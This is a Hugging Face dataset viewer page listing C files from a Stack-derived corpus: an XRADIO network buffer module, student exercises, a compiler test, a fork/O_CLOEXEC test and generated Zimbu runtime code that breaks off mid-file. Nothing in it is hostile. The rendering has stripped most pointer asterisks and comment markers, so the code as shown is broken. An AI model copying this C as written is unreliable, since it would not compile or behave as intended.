ahmedheakl/the_stack_data_c_2 · Datasets at Hugging Face

file stringlengths 18 26	data stringlengths 4 1.03M
the_stack_data/126703338.c	/* * Copyright (C) 2017 XRADIO TECHNOLOGY CO., LTD. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the * distribution. * 3. Neither the name of XRADIO TECHNOLOGY CO., LTD. nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. / #if (__CONFIG_MBUF_IMPL_MODE == 1) #include "sys/mbuf_1.h" #include "mbuf_util.h" #if (defined(__CONFIG_ARCH_APP_CORE) \|\| !defined(__CONFIG_ARCH_DUAL_CORE)) #include "lwip/pbuf.h" #include "lwip/mem.h" #include "lwip/memp.h" / Init mbuf data info from pbuf, no sanity checks / static void mb_data_init(struct mbuf m, struct pbuf p) { m->m_pbuf = p; m->m_data = p->payload; m->m_len = p->tot_len; m->m_pkthdr.len = p->tot_len; m->m_headspace = pbuf_head_space(p); if (p->mb_flags & PBUF_FLAG_MBUF_SPACE) m->m_tailspace = MBUF_TAIL_SPACE; p->mb_flags \|= PBUF_FLAG_MBUF_REF; } / * Alloc a new mbuf without pbuf, zero the header. / static struct mbuf mb_alloc() { struct mbuf m = memp_malloc(MEMP_MBUF); if (m) { MB_MEMSET(m, 0, sizeof(struct mbuf)); m->m_flags = M_PKTHDR; } else { MBUF_WRN("Out of memory in pbuf pool for mbuf\n"); } return m; } / * @param tx * - 1 means mbuf is used to do Tx, always alloc it from PBUF_RAM. * - 0 means mbuf is used to do RX, try to alloc it from PBUF_POOL first * @return a mbuf including @len data / struct mbuf mb_get(int len, int tx) { if (len < 0) return NULL; if (len > PBUF_POOL_BUFSIZE) { MBUF_WRN("try to get large data, len %d\n", len); } struct mbuf m = mb_alloc(); if (m == NULL) { return NULL; } struct pbuf p; #if LWIP_PBUF_POOL_SMALL int pbuf_pool_small = 0; #endif int tot_len = len; pbuf_type type = (tx \|\| len > PBUF_POOL_BUFSIZE) ? PBUF_RAM : PBUF_POOL; if (type == PBUF_RAM) { /* space is not reserved after pbuf_alloc(), add more space / tot_len += MBUF_HEAD_SPACE + MBUF_TAIL_SPACE; } #if LWIP_PBUF_POOL_SMALL else if (len <= PBUF_POOL_SMALL_BUFSIZE) { pbuf_pool_small = 1; } retry: p = pbuf_alloc_ext(PBUF_MBUF_RAW, tot_len, type, pbuf_pool_small); if (p == NULL) { MBUF_DBG("pbuf_alloc_ext() failed, tot_len %d, type %d, small %d\n", tot_len, type, pbuf_pool_small); if (pbuf_pool_small) { / try to get pbuf from bigger pbuf pools / pbuf_pool_small = 0; goto retry; } mb_free(m); return NULL; } #else / LWIP_PBUF_POOL_SMALL / p = pbuf_alloc(PBUF_MBUF_RAW, tot_len, type); if (p == NULL) { MBUF_DBG("pbuf_alloc() failed, tot_len %d, type %d\n", tot_len, type); mb_free(m); return NULL; } #endif / LWIP_PBUF_POOL_SMALL / if (type == PBUF_RAM) { / reserved head and tail space of pbuf / pbuf_header(p, -MBUF_HEAD_SPACE); p->len -= MBUF_TAIL_SPACE; p->tot_len -= MBUF_TAIL_SPACE; p->mb_flags \|= PBUF_FLAG_MBUF_SPACE; } mb_data_init(m, p); return m; } / * Free a mbuf. / void mb_free(struct mbuf m) { if (m == NULL) { MBUF_WRN("mb_free(), m is NULL\n"); return; } struct pbuf p = m->m_pbuf; if (p) { p->mb_flags &= ~PBUF_FLAG_MBUF_REF; pbuf_free(p); } memp_free(MEMP_MBUF, m); } / * Create a new mbuf including all pbuf data. / struct mbuf mb_pbuf2mbuf(void p) { struct pbuf pb = p; struct mbuf m; if ((pbuf_clen(pb) > 1) \|\| ((pb->mb_flags & PBUF_FLAG_MBUF_SPACE) == 0)) { / copy all data from @pb to a new single pbuf / m = mb_get(pb->tot_len, 1); if (m == NULL) return NULL; if (pbuf_copy_partial(pb, m->m_data, pb->tot_len, 0) != pb->tot_len) { mb_free(m); return NULL; } } else { / no need to copy data, link @pb to a new mbuf header / m = mb_alloc(); if (m == NULL) return NULL; pbuf_ref(pb); / @pb is referenced by @m now / mb_data_init(m, pb); } return m; } / * Return a pbuf included in a mbuf / void mb_mbuf2pbuf(struct mbuf m) { struct pbuf p = m->m_pbuf; p->payload = m->m_data; p->tot_len = m->m_len; p->len = m->m_len; if (m->m_tailspace >= MBUF_TAIL_SPACE) p->mb_flags \|= PBUF_FLAG_MBUF_SPACE; pbuf_ref(p); /* add reference to avoid freed from @m / return p; } #endif / (defined(__CONFIG_ARCH_APP_CORE) \|\| !defined(__CONFIG_ARCH_DUAL_CORE)) / #if (defined(__CONFIG_ARCH_NET_CORE) \|\| !defined(__CONFIG_ARCH_DUAL_CORE)) / Add space at the head of mbuf, no sanity checks / static void mb_adj_head(struct mbuf m, int increment) { m->m_headspace -= increment; m->m_data -= increment; m->m_len += increment; m->m_pkthdr.len += increment; } /* Add space at the tail of mbuf, no sanity checks / static void mb_adj_tail(struct mbuf m, int increment) { m->m_tailspace -= increment; m->m_len += increment; m->m_pkthdr.len += increment; } /* copy some members of mbuf from @s to @d / static void mb_pkthdr_init(struct mbuf d, struct mbuf s, int32_t pktlen) { d->m_flags = (s->m_flags & M_COPYFLAGS) \| M_PKTHDR; MB_MEMCPY(&d->m_pkthdr, &s->m_pkthdr, sizeof(struct pkthdr)); d->m_pkthdr.len = pktlen; } #ifdef __CONFIG_ARCH_DUAL_CORE #include "sys/ducc/ducc_net.h" / * @param tx * - 1 means mbuf is used to do Tx, always alloc it from PBUF_RAM. * - 0 means mbuf is used to do RX, try to alloc it from PBUF_POOL first * @return a mbuf including @len data / struct mbuf mb_get(int len, int tx) { struct ducc_param_mbuf_get param; param.len = len; param.tx = tx; param.mbuf = NULL; if (ducc_net_ioctl(DUCC_NET_CMD_MBUF_GET, &param) != 0) { return NULL; } else { return param.mbuf; } } /* * Free a mbuf. / void mb_free(struct mbuf m) { ducc_net_ioctl(DUCC_NET_CMD_MBUF_FREE, m); } #endif /* __CONFIG_ARCH_DUAL_CORE / / * Trim data from head or tail. * * @return 0 on success, -1 on failure. / int mb_adj(struct mbuf m, int req_len) { if (req_len >= 0) { /* Trim from head. / if (req_len > m->m_len) { MBUF_ERR("trim from head failed, %d > %d\n", req_len, (int)m->m_len); return -1; / no enough data to trim / } mb_adj_head(m, -req_len); } else { / Trim from tail. / req_len = -req_len; if (req_len > m->m_len) { MBUF_ERR("trim from tail failed, %d > %d\n", req_len, (int)m->m_len); return -1; / no enough data to trim / } mb_adj_tail(m, -req_len); } return 0; } / * Copy data from an mbuf chain starting "off" bytes from the beginning, * continuing for "len" bytes, into the indicated buffer. * * @return the number of bytes copied / int mb_copydata(const struct mbuf m, int off, int len, uint8_t cp) { if (off < 0 \|\| len <= 0) { MBUF_ERR("off %d, len %d\n", off, len); return 0; } #if 0 struct pbuf p = m->m_pbuf; if (p == NULL) return 0; if ((pbuf_clen(p) != 1) \|\| ((p->mb_flags & PBUF_FLAG_MBUF_SPACE) == 0)) { MBUF_ERR("Invalid mbuf!\n"); return 0; } #endif int copy_len = m->m_len - off; if (copy_len > len) copy_len = len; MB_MEMCPY(cp, m->m_data + off, copy_len); return copy_len; } /* * Copy a packet header mbuf chain into a completely new chain. / struct mbuf mb_dup(struct mbuf m) { if (m == NULL) { MBUF_ERR("m is NULL\n"); return NULL; } int32_t head_increment = MBUF_HEAD_SPACE - (int32_t)m->m_headspace; int32_t tail_increment = MBUF_TAIL_SPACE - (int32_t)m->m_tailspace; struct mbuf nm = mb_get(m->m_len - head_increment - tail_increment, 1); if (nm == NULL) { return NULL; } mb_adj_head(nm, head_increment); mb_adj_tail(nm, tail_increment); MB_MEMCPY(nm->m_data, m->m_data, m->m_len); mb_pkthdr_init(nm, m, m->m_len); return nm; } /* * Rearange an mbuf chain so that len bytes are contiguous * and in the data area of an mbuf (so that mtod will work * for a structure of size len). Returns the resulting * mbuf chain on success, frees it and returns null on failure. * If there is room, it will add up to max_protohdr-len extra bytes to the * contiguous region in an attempt to avoid being called next time. / struct mbuf mb_pullup(struct mbuf m, int len) // NOT really support! { if (m->m_len < len) { mb_free(m); return NULL; } return m; } / * Partition an mbuf chain in two pieces, returning the tail -- * all but the first len0 bytes. In case of failure, it returns NULL and * attempts to restore the chain to its original state. * * Note that the resulting mbufs might be read-only, because the new * mbuf can end up sharing an mbuf cluster with the original mbuf if * the "breaking point" happens to lie within a cluster mbuf. Use the * M_WRITABLE() macro to check for this case. / struct mbuf mb_split(struct mbuf m0, int len0) { if (m0 == NULL \|\| len0 <= 0) { MBUF_ERR("m0 %p, len0 %d\n", m0, len0); return NULL; } if (m0->m_len <= len0) { MBUF_ERR("m0->m_len %d < len0 %d\n", m0->m_len, len0); return NULL; } / create a new mbuf to save all the tail data * * TODO: don't reserve head/tail space / int len = m0->m_len - len0; struct mbuf m = mb_get(len, 1); if (m == NULL) { return NULL; } MB_MEMCPY(m->m_data, m0->m_data + len0, len); mb_pkthdr_init(m, m0, len); mb_adj_tail(m0, -len); /* adjust @m0, its length is len0 / return m; } / * Append the specified data to the indicated mbuf chain, * Extend the mbuf chain if the new data does not fit in * existing space. * * Return 1 if able to complete the job; otherwise 0. / int mb_append(struct mbuf m, int len, const uint8_t cp) { if (len > m->m_tailspace) { MBUF_ERR("%d > %d\n", len, (int)m->m_tailspace); return 0; } uint8_t dst = m->m_data + m->m_len; mb_adj_tail(m, len); if (cp) { MB_MEMCPY(dst, cp, len); } return 1; } /* * Adjust the mbuf to reserve space directly. * * @return 0 on success, -1 on failure. / int mb_reserve(struct mbuf m, int len, uint16_t headspace, uint16_t tailspace) { uint8_t buf_end = m->m_data + m->m_len + m->m_tailspace; int buf_len = m->m_headspace + m->m_len + m->m_tailspace; if (buf_len < headspace + len + tailspace) { MBUF_ERR("(%d + %d + %d) < (%d + %d + %d)\n", m->m_headspace, m->m_len, m->m_tailspace, headspace, len, tailspace); return -1; } m->m_tailspace = tailspace; m->m_len = len; m->m_pkthdr.len = len; m->m_data = buf_end - tailspace - len; m->m_headspace = buf_len - tailspace - len; return 0; } #endif / (defined(__CONFIG_ARCH_NET_CORE) \|\| !defined(__CONFIG_ARCH_DUAL_CORE)) / #endif / (__CONFIG_MBUF_IMPL_MODE == 1) */
the_stack_data/329778.c	/* hw10_20 / #include <stdio.h> #include <stdlib.h> int length(char ptr2); int main(void) { int i,total=0; char ptr[3]={"Tom","Lily","James Lee"}; for(i=0;i<3;i++) { puts(ptr[i]); total+=length(ptr[i]); } printf("共佔%d個位元組\n",totalsizeof(char)); system("pause"); return 0; } int length(char ptr2) { int i; for(i=0;(ptr2+i)!='\0';i++); return i+1; } /* Tom Lily James Lee 共佔19個位元組 Press any key to continue . . . */
the_stack_data/80655.c	#include <stdlib.h> int blah (int zzz) { int foo; if (zzz >= 0) return 1; foo = (zzz >= 0 ? (zzz) : -(zzz)); return foo; } int main() { if (blah (-1) != 1) abort (); else exit (0); }
the_stack_data/211081103.c	/* Example code for Exercises in C. This program shows a way to represent a BigInt type (arbitrary length integers) using C strings, with numbers represented as a string of decimal digits in reverse order. Follow these steps to get this program working: 1) Read through the whole program so you understand the design. 2) Compile and run the program. It should run three tests, and they should fail. 3) Fill in the body of reverse_string(). When you get it working, the first test should pass. 4) Fill in the body of itoc(). When you get it working, the second test should pass. 5) Fill in the body of add_digits(). When you get it working, the third test should pass. 6) Uncomment the last test in main. If your three previous tests pass, this one should, too. / #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> / reverse_string: Returns a new string with the characters reversed. It is the caller's responsibility to free the result. s: string returns: string / char reverse_string(char s) { int i = 0; int len = strlen(s); char buffer = malloc(len+1); while (i < len) { buffer[i] = s[len-i-1]; i++; } return buffer; } /* ctoi: Converts a character to integer. c: one of the characters '0' to '9' returns: integer 0 to 9 / int ctoi(char c) { assert(isdigit(c)); return c - '0'; } / itoc: Converts an integer to character. i: integer 0 to 9 returns: character '0' to '9' / char itoc(int i) { return i + '0'; } / add_digits: Adds two decimal digits, returns the total and carry. For example, if a='5', b='6', and carry='1', the sum is 12, so the output value of total should be '2' and carry should be '1' a: character '0' to '9' b: character '0' to '9' c: character '0' to '9' total: pointer to char carry: pointer to char / void add_digits(char a, char b, char c, char total, char carry) { int sum = ctoi(a) + ctoi(b) + ctoi(c); int tot = sum % 10; int car = sum / 10; total = itoc(tot); carry = itoc(car); } / Define a type to represent a BigInt. Internally, a BigInt is a string of digits, with the digits in reverse order. / typedef char BigInt; /* add_bigint: Adds two BigInts Stores the result in z. x: BigInt y: BigInt carry_in: char z: empty buffer / void add_bigint(BigInt x, BigInt y, char carry_in, BigInt z) { char total, carry_out; int dx=1, dy=1, dz=1; char a, b; / OPTIONAL TODO: Modify this function to allocate and return z * rather than taking an empty buffer as a parameter. * Hint: you might need a helper function. / if (x == '\0') { a = '0'; dx = 0; }else{ a = x; } if (y == '\0') { b = '0'; dy = 0; }else{ b = y; } // printf("%c %c %c\n", a, b, carry_in); add_digits(a, b, carry_in, &total, &carry_out); // printf("%c %c\n", carry_out, total); // if total and carry are 0, we're done if (total == '0' && carry_out == '0') { z = '\0'; return; } // otherwise store the digit we just computed z = total; // and make a recursive call to fill in the rest. add_bigint(x+dx, y+dy, carry_out, z+dz); } / print_bigint: Prints the digits of BigInt in the normal order. big: BigInt / void print_bigint(BigInt big) { char c = big; if (c == '\0') return; print_bigint(big+1); printf("%c", c); } /* make_bigint: Creates and returns a BigInt. Caller is responsible for freeing. s: string of digits in the usual order returns: BigInt / BigInt make_bigint(char s) { char r = reverse_string(s); return (BigInt) r; } void test_reverse_string() { char s = "123"; char t = reverse_string(s); if (strcmp(t, "321") == 0) { printf("reverse_string passed\n"); } else { printf("reverse_string failed\n"); } } void test_itoc() { char c = itoc(3); if (c == '3') { printf("itoc passed\n"); } else { printf("itoc failed\n"); } } void test_add_digits() { char total, carry; add_digits('7', '4', '1', &total, &carry); if (total == '2' && carry == '1') { printf("add_digits passed\n"); } else { printf("add_digits failed\n"); } } void test_add_bigint() { char s = "1"; char t = "99999999999999999999999999999999999999999999"; char res = "000000000000000000000000000000000000000000001"; BigInt big1 = make_bigint(s); BigInt big2 = make_bigint(t); BigInt big3 = malloc(100); add_bigint(big1, big2, '0', big3); if (strcmp(big3, res) == 0) { printf("add_bigint passed\n"); } else { printf("add_bigint failed\n"); } } int main (int argc, char *argv[]) { test_reverse_string(); test_itoc(); test_add_digits(); //TODO: When you have the first three functions working, // uncomment the following, and it should work. test_add_bigint(); return 0; }
the_stack_data/145452903.c	#include <stdio.h> int main() { int max1, max2, max3; int n; scanf("%d", &n); max1 = max2 = max3 = n; scanf("%d", &n); while (n != 0) { if (n > max3) { if (n > max2) { if (n > max1) { max1 = n; } else { max2 = n; } } else { max3 = n; } } scanf("%d", &n); } printf("\n"); printf(" the biggest: %4d\n", max1); printf("the second biggest: %4d\n", max2); printf(" the third biggest: %4d\n", max3); return 0; }
the_stack_data/122014657.c	#include <stdio.h> void foo(void) { puts("New message 2"); }
the_stack_data/508740.c	#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main() { int fd = open( "test", O_CREAT \| O_WRONLY \| O_CLOEXEC, 0700 ); if ( fd < 0 ) { perror("open"); return 1; } if ( fork() == 0 ) { if ( fork() == 0 ) { //child 2 sleep( 2 ); execl("/bin/test", "true", 0 ); printf("fail\n"); exit(1); } else { // parent 1 sleep( 1 ); close( fd ); exit(1); } } else { // parent write( fd, "A", 1 ); close( fd ); } return 0; }
the_stack_data/234517871.c	/* * Generated from Zimbu file zimbuConfig.zu / #include <string.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <stdio.h> #include <signal.h> #if defined(__MINGW32__) \|\| defined(_MSC_VER) # define GC_SIG SIGABRT # include <excpt.h> #else # define GC_SIG SIGUSR2 #endif / * TYPEDEFS / #ifdef __MINGW32__ # define ZINT_FORMAT "%I64d" # define ZNAT_FORMAT "%I64u" # define ZINT_XFORMAT "%I64x" #else # define ZINT_FORMAT "%lld" # define ZNAT_FORMAT "%llu" # define ZINT_XFORMAT "%llx" #endif #define ZFLOAT_FORMAT "%g" typedef long long Ti; / int / typedef short Ti16; / int16 / typedef int Ti32; / int32 / typedef unsigned long long Tu; / nat / typedef unsigned char Tc; / byte / typedef unsigned short Tu16; / nat16 / typedef unsigned int Tu32; / nat32 / typedef double Tf; / float / typedef float Tf32; / float32 / typedef __INTPTR_TYPE__ Tip; / int for pointer / typedef long long Tbb; / big BITS / typedef int Tbs; / small BITS / typedef int Tb; / bool / typedef int Ts; / status / typedef int Te; / enum / typedef struct Zref__S Tr; / object ref / typedef struct Zobj__S To; / object description / typedef union { Ti ival; Tf fval; void ptr; } Tz; /* dyn value / typedef struct Ztype__S Tt; / type / typedef struct Ztypeo__S Tto; / type with To pointer / #define ZOH_OFF 0 typedef struct ZforList__S Tfl; / FOR in list / typedef struct ZforRange__S Tfr; / FOR in range / typedef struct CArray__S Ta; / array head / typedef struct CListHead__S Tl; / list head / typedef unsigned long Zhashtype; typedef struct CDictItem__S CDictItem; typedef struct CDictHead__S Td; / including EModule typedefs / typedef struct Ytlm__S Ytlm; / MEModule.Exception / typedef struct YEro__S YEro; / MEModule.Exit / typedef struct YKhn__S YKhn; / MEModule.OutOfMemory / typedef struct Y1uN__S Y1uN; / MEModule.NilAccess / typedef struct YAxe__S YAxe; / MEModule.MemoryAccess / typedef struct YVNj__S YVNj; / MEModule.Init / typedef struct Yalz__S Yalz; / MEModule.BadValue / typedef struct Y2EX__S Y2EX; / MEModule.KeyNotFound / typedef struct YX0i__S YX0i; / MEModule.KeyExists / typedef struct YzSI__S YzSI; / MEModule.DivideByZero / typedef struct YXKl__S YXKl; / MEModule.IOError / typedef struct YuDC__S YuDC; / MEModule.WrongType / typedef struct YrHq__S YrHq; / MEModule.Internal / / EModule done / / including ZModule typedefs / typedef struct YkxB__S YkxB; / MZModule.Pos / / ZModule done / / including IOModule typedefs / typedef struct Yw8L__S Yw8L; / MIOModule.File / typedef struct YjUM__S YjUM; / MIOModule.StringWriter / / IOModule done / / including zimbuConfig typedefs / / including Proto typedefs / typedef struct Ys_q__S Ys_q; / MProto.E_ProduceError / typedef struct YOEA__S YOEA; / MProto.E_BinaryError / typedef struct YqvM__S YqvM; / MProto.FieldSpec / typedef struct YLWE__S YLWE; / MProto.Writer / / Proto done / typedef struct YNdL__S YNdL; / MZimbu.Config / / zimbuConfig done / / * STRUCTS / / IO.eof / #define Y3QJ EOF typedef struct { int line; int col; } Tcpos; typedef struct { Ti offset; Tc fileName; Tc methodName; Tcpos table; } Tcode; void Za(size_t size); void ZaNm(size_t size); void ZaNmi(size_t size); void Zran(void op, size_t osize, size_t nsize); void ZranNm(void op, size_t osize, size_t nsize); void ZthrowOutOfMemory(Ti size); char emergencyAlloc = NULL; size_t emergencyAllocUsed = 0; void ZthrowDeadly(int nr); Tc ZnewString(Tc p, Ti len); void ZthrowCstringNil(char text); void ZthrowCstringBadValue(char msg); void ZthrowInternal(Tc t); Tc Zenum2string(char *names, Te n); char ZgetCstring(Tc s); struct ZforList__S { Tl l; Ti i; Ti keyp; void valp; }; struct ZforRange__S { Ti idx; Ti step; Ti last; }; void ZthrowObject(Tr eo); void ZthrowIobject(Tr eo); struct Zref__S { void ptr; Tc *table; int type; }; Tr trZero = {NULL,NULL,0}; struct Zobj__S { int off; Tt type; }; struct Ztype__S { int nr; Tc name; void ToString; }; struct Ztypeo__S { int nr; Tc name; void ToString; To to; }; extern Tt bool__T; extern Tt byte__T; extern Tt byteString__T; extern Tt float128__T; extern Tt float32__T; extern Tt float80__T; extern Tt float__T; extern Tt int16__T; extern Tt int32__T; extern Tt int8__T; extern Tt int__T; extern Tt nat16__T; extern Tt nat32__T; extern Tt nat__T; extern Tt status__T; extern Tt string__T; extern Tt type__T; extern Tt array__T; extern Tt list__T; extern Tt dict__T; extern Tt iobj__T; struct CArray__S { void ptr; int dim; Ti size[3]; Tt itemType; int itemSize; int tosNr; }; void ZfreeArray(Ta head); Ta ZnewArray(Tt itemType, int itemSize, Ti size); struct CListHead__S { Tt itemType; void items; Ti empty; Ti space; Ti itemCount; int itemSize; int tosNr; }; Tl ZLa(Tl head, Ti after, Tz val); Tl ZnewList(Tt itemType, Ti size); Tl ZLap(Tl head, Tz val); #define HT_INIT_SIZE 16 #define PERTURB_SHIFT 5 #define DTYPE_ORDERED 1 / dict with list to keep order of items / #define CDI_FLAG_USED 1 #define CDI_FLAG_DEL 2 struct CDictItem__S { Zhashtype hash; union { Tz key; Tr iokey; }; union { Tz item; Tr ioitem; }; CDictItem lnext; CDictItem lprev; int flags; }; struct CDictHead__S { Zhashtype mask; Zhashtype used; Zhashtype extra; Zhashtype filled; int tosNr; int type; CDictItem array; CDictItem smallArray[HT_INIT_SIZE]; Tt keyType; Tt itemType; int (eqfunc)(void i, Tz v); CDictItem first; CDictItem last; }; YkxB MZ__callerPos(void); Tl MZ__backtrace(Ti zkip, Ti limit); YkxB MZ__posnr2pos(YkxB t, Ti pos); typedef struct { char text[5]; } Zs5; / including EModule structs / typedef struct { char text[4]; } Zs4; typedef struct { char text[13]; } Zs13; typedef struct { char text[11]; } Zs11; typedef struct { char text[39]; } Zs39; typedef struct { char text[12]; } Zs12; typedef struct { char text[3]; } Zs3; struct Ytlm__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto Ytlm__T; typedef struct { char text[7]; } Zs7; struct YEro__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; Ti Vvalue; }; extern Tto YEro__T; typedef struct { char text[6]; } Zs6; typedef struct { char text[28]; } Zs28; typedef struct { char text[9]; } Zs9; struct YKhn__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YKhn__T; struct Y1uN__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto Y1uN__T; struct YAxe__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YAxe__T; typedef struct { char text[14]; } Zs14; struct YVNj__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YVNj__T; struct Yalz__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto Yalz__T; typedef struct { char text[10]; } Zs10; struct Y2EX__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto Y2EX__T; typedef struct { char text[17]; } Zs17; typedef struct { char text[18]; } Zs18; struct YX0i__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YX0i__T; typedef struct { char text[22]; } Zs22; typedef struct { char text[23]; } Zs23; struct YzSI__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YzSI__T; struct YXKl__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YXKl__T; typedef struct { char text[15]; } Zs15; struct YuDC__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YuDC__T; struct YrHq__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YrHq__T; /* EModule done / / including ZModule structs / typedef struct { char text[16]; } Zs16; typedef struct { char text[8]; } Zs8; struct YkxB__S { Tc Vfilename; Ti Vlnum; Ti Vcol; Tc Vtext; }; extern Tto YkxB__T; / ZModule done / / including IOModule structs / struct Yw8L__S { FILE Vfd; Tc Vname; }; extern Tto Yw8L__T; typedef struct { char text[2]; } Zs2; struct YjUM__S { Ti VsLen; Ta Vs; Tc Vx; }; extern Tto YjUM__T; / IOModule done / / including zimbuConfig structs / / including Proto structs / char MProto__EType[] = { (char)20, "unknown", "bool", "bytes", "enum", "fixed32", "fixed64", "float", "double", "group", "int", "int32", "int64", "message", "sfixed32", "sfixed64", "sint32", "sint64", "string", "uint32", "uint64", }; char MProto__EType__name(Te n) { return (n < 0 \|\| n >= (Te)(size_t)MProto__EType[0]) ? "INVALID" : MProto__EType[n + 1]; }; struct Ys_q__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto Ys_q__T; struct YOEA__S { Tc Vmessage; YkxB Vpos; Tl Vbacktrace; }; extern Tto YOEA__T; struct YqvM__S { Tc Vname; Ti Vnr; Te Vtype; Tb Vrepeated; }; extern Tto YqvM__T; struct YLWE__S { Tr Vwriter; Tc Vindent; Tb VuseNr; Ti VderefId; Ti VderefIdSize; Ti VderefTime; Ti VderefTimeSize; }; extern Tto YLWE__T; typedef struct { char text[34]; } Zs34; typedef struct { char text[38]; } Zs38; /* Proto done / struct YNdL__S { Ti VderefTime; Ti VderefId; Ti VderefTimeSize; Ti VderefIdSize; Tc Vf_mallocArg; Tc Vf_threadArg; Tc Vf_socketArg; Tc Vf_mathArg; Ti Vf_haveResolve; Ti Vf_haveFork; Tc Vf_exeSuffix; Tc Vf_exePrefix; Ti Vf_haveSigaction; Ti Vf_gcWithThreads; Tc Vf_int16Name; Tc Vf_int32Name; Tc Vf_int64Name; Tc Vf_nat16Name; Tc Vf_nat32Name; Tc Vf_nat64Name; Tc Vf_floatName; Tc Vf_float32Name; Tc Vf_intPtrName; Tc Vf_printIntFormat; Tc Vf_printNatFormat; Tc Vf_scanfHexFormat; Ti Vf_isMingw; }; extern Tto YNdL__T; / zimbuConfig done / typedef struct { char text[25]; } Zs25; typedef struct { char text[27]; } Zs27; typedef struct { char text[36]; } Zs36; typedef struct { char text[68]; } Zs68; typedef struct { char text[32]; } Zs32; typedef struct { char text[20]; } Zs20; / * DECLARE FUNCTIONS AND GLOBALS / Zs5 ZNilString = {"\003NIL\000"}; / including EModule declarations / void YxaJ(Ytlm t, Tr Aw); /* MEModule__CException.writeTo / Zs4 YFDa = {"\002: \000"}; Zs13 YHbP = {"\013Exception: \000"}; Zs11 YDGe = {"\011Exception\000"}; void YxaJa(Ytlm t, Tb Averbose, Tr Aw); /* MEModule__CException.writeTo / Zs39 Y62e = {"\045\nStack backtrace (last called first):\000"}; Zs12 Yv6_ = {"\012\n(unknown)\000"}; Zs3 Yk = {"\001\n\000"}; To ToYtlm[4]; void YXHSa(YEro t, Tr Aw); /* MEModule__CExit.writeTo / Zs7 YxJ1 = {"\005EXIT \000"}; void YEro__YxaJa(YEro t, Tb Averbose, Tr Aw); /* MEModule__CExit.writeTo__p1 / To ToYEro[4]; Zs6 YJMo = {"\004Exit\000"}; YKhn YDNob(YKhn t, Ti Asize, Ti Alimit); / MEModule__COutOfMemory.NEW / Zs28 YIBz = {"\032Out of memory (allocating \000"}; Zs9 YDSH = {"\007 bytes)\000"}; void YKhn__YwtA__YxaJa(YKhn t, Tb Averbose, Tr Aw); /* MEModule__COutOfMemory.writeTo__p2 / void YKhn__YwtA__YxaJ(YKhn t, Tr Aw); /* MEModule__COutOfMemory.writeTo__p2 / Tc YKhn__Ytlm_I_imt[14]; To ToYKhn[4]; Zs13 Y9Fv = {"\013OutOfMemory\000"}; void Y1KV(Ti Asize); /* MEModule.throwOutOfMemorySize / Y1uN Y1uN__YwtA__YRHR(Y1uN t, Tc Amsg); /* MEModule__CNilAccess.NEW__p2 / void Y1uN__YwtA__YxaJa(Y1uN t, Tb Averbose, Tr Aw); /* MEModule__CNilAccess.writeTo__p2 / void Y1uN__YwtA__YxaJ(Y1uN t, Tr Aw); /* MEModule__CNilAccess.writeTo__p2 / Tc Y1uN__Ytlm_I_imt[14]; To ToY1uN[4]; Zs11 Y4wO = {"\011NilAccess\000"}; void YvdV(YkxB Apos, Tc Atext); /* MEModule.throwNil / YAxe YAxe__YwtA__YRHR(YAxe t, Tc Amsg); /* MEModule__CMemoryAccess.NEW__p2 / void YAxe__YwtA__YxaJa(YAxe t, Tb Averbose, Tr Aw); /* MEModule__CMemoryAccess.writeTo__p2 / void YAxe__YwtA__YxaJ(YAxe t, Tr Aw); /* MEModule__CMemoryAccess.writeTo__p2 / Tc YAxe__Ytlm_I_imt[14]; To ToYAxe[4]; Zs14 Y4QW = {"\014MemoryAccess\000"}; void YE93(Ti Anr); /* MEModule.throwDeadly / Zs13 YkfG = {"\013signal SEGV\000"}; Zs12 YoEx = {"\012signal FPE\000"}; Zs12 YQNH = {"\012signal BUS\000"}; Zs9 YpCZ = {"\007signal \000"}; YVNj YVNj__YwtA__YRHR(YVNj t, Tc Amsg); /* MEModule__CInit.NEW__p2 / void YVNj__YwtA__YxaJa(YVNj t, Tb Averbose, Tr Aw); /* MEModule__CInit.writeTo__p2 / void YVNj__YwtA__YxaJ(YVNj t, Tr Aw); /* 